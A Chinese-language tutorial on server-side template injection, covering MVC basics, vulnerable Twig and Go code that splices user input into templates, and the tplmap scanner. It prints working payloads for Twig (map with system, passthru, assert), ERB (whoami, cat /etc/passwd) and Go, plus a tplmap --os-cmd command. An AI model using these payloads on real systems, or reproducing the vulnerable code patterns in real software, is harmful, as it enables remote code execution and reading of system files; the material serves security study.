SSTI漏洞学习(上)—— 基础知识和一些不常见的模板引擎介绍
本文首发于安全客:https://www.anquanke.com/post/id/246093
# SSTI 简介
# MVC
MVC是一种框架型模式,全名是Model View Controller。
即模型(model)-视图(view)-控制器(controller) 在MVC的指导下开发中用一种业务逻辑、数据、界面显示分离的方法组织代码,将业务逻辑聚集到一个部件里面,在改进和个性化定制界面及用户交互的同时,得到更好的开发和维护效率。
在MVC框架中,用户的输入通过 View 接收,交给 Controller ,然后由 Controller 调用 Model 或者其他的 Controller 进行处理,最后再返回给 View ,这样就最终显示在我们的面前了,那么这里的 View 中就会大量地用到一种叫做模板的技术。
绕过服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,而模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,就会导致敏感信息泄露、代码执行、GetShell 等问题.
虽然市面上关于SSTI的题大都出在python上,但是这种攻击方式请不要认为只存在于 Python 中,凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言。
# 常见的模板引擎和注入漏洞
# Twig(PHP)
首先以Twig模板引擎介绍SSTI,很多时候,SSTI发生在直接将用户输入作为模板,比如下面的代码
<?php
require_once "./vendor/autoload.php";
$loader = new \Twig\Loader\ArrayLoader([
'index' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
$template = $twig->createTemplate("Hello {$_GET['name']}!");
echo $template->render();
2
3
4
5
6
7
8
9
10
11
12
createTemplate
时注入了$_GET['name']
,就会引发SSTI
而如下代码则不会,因为模板引擎解析的是字符串常量中的,而不是动态拼接的
$_GET["name"]
<?php
require_once "./vendor/autoload.php";
$loader = new \Twig\Loader\ArrayLoader([
'index' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', array("name" => $_GET["name"]));
2
3
4
5
6
7
8
9
而对于模板引擎的利用,往往是借助模板中的一些方法实现攻击目的,比如Twig中的过滤器map
举个经典的例子
[
"man"
]
会被编译成下面这样
twig_array_map([0 => "id"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null))
关于这个twig_array_map
,源码中是这样的
可以看到传入的$arrow
被当作函数执行,那么可以不传arrow function
,可以只传一个字符串,找个两个参数的能够命令执行的危险函数即可
比如
{{["id"]|map("system")|join(",")}}
{{["phpinfo();"]|map("assert")|join(",")}}
{{["id", 0]|map("passthru")}}
2
3
类似的,我们还可以找到一些其他的过滤器sort
,filiter
,网上也有较多介绍,就不再赘述了。
当然,SSTI还有一种基础的利用方式就是用来泄露源码和程序环境中的上下文信息,在Twig
引擎中,我们可以通过下面方法获得一些关于当前应用的信息
{{_self}} #指向当前应用
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
2
3
4
# ERB(Ruby)
相较于Twig
,ERB的代码直接提供了一些命令执行的接口,比如
<%= system("whoami") %>
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
2
3
4
这里提起他主要是引出模板标签的一些分类
比如这里的ERB
模板标签使用<%= %>
,Twig
使用{{}}
,根据一些简单的poc和标签的分类,我们可以快速识别出是否存在模板漏洞以及所使用的模板引擎技术
当然有些模板引擎的标签是可以自定义的,上面列出的只是默认情况
# Golang SSTI
关于Golang Template的SSTI研究目前来说还比较少,可能是因为本身设计的也比较安全,不过还是有一些可以探讨的地方
比如在下面这个例子中
package main
import (
"html/template"
"net/http"
)
func handler(w http.ResponseWriter, r *http.Request) {
//var name = ""
r.ParseForm() // Parses the request body
x := r.Form.Get("name")
var test map[string]interface{}
test = make(map[string]interface{})
var secret map[string]interface{}
secret = make(map[string]interface{})
flag := "flag{testflag}"
secret["flag"] = &flag
test["secret"] = secret
var tmpl = `<!DOCTYPE html><html><body>
<form action="/" method="post">
First name:<br>
<input type="text" name="name" value="">
<input type="submit" value="Submit">
</form><p>` + x + ` </p></body></html>`
t := template.New("main") //name of the template is main
t, _ = t.Parse(tmpl) // parsing of template string
t.Execute(w, test)
}
func main() {
server := http.Server{
Addr: "0.0.0.0:5090",
}
http.HandleFunc("/", handler)
server.ListenAndServe()
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
可以获取到作用域对象
进一步可以获得flag
甚至如果在作用域中存在可以利用的函数,我们还可以调用该函数完成攻击,比如
type User struct {
ID int
Email string
Password string
}
func (u User) System(test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
2
3
4
5
6
7
8
9
10
就有
# Flask/Jinja
这个引擎应该是出镜率最高的了,能写的东西也很多,由于篇幅所限,具体内容会在(下)中展开记录。
# 常用检测工具 Tplmap
工具地址:https://github.com/epinna/tplmap
和sqlmap的设计风格一致,直接怼就行
/tplmap.py --os-cmd -u 'http://www.target.com/page?name=John'
# 总结
SSTI在MVC架构中是经常出现的一类问题,除去本文中介绍的几个引擎,还有许多受影响的引擎,比如Velocity 等。该问题主要是由于开发者直接将用户输入作为模板交给模板引擎渲染导致的,将用户输入绑定到模板的参数中可以缓解这一问题。通过SSTI,我们往往可以获取到程序运行的上下文环境,甚至利用模板引擎的内置方法完成远程代码注入等高危攻击。
# 参考资料
https://xz.aliyun.com/t/7518
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
https://www.onsecurity.io/blog/go-ssti-method-research/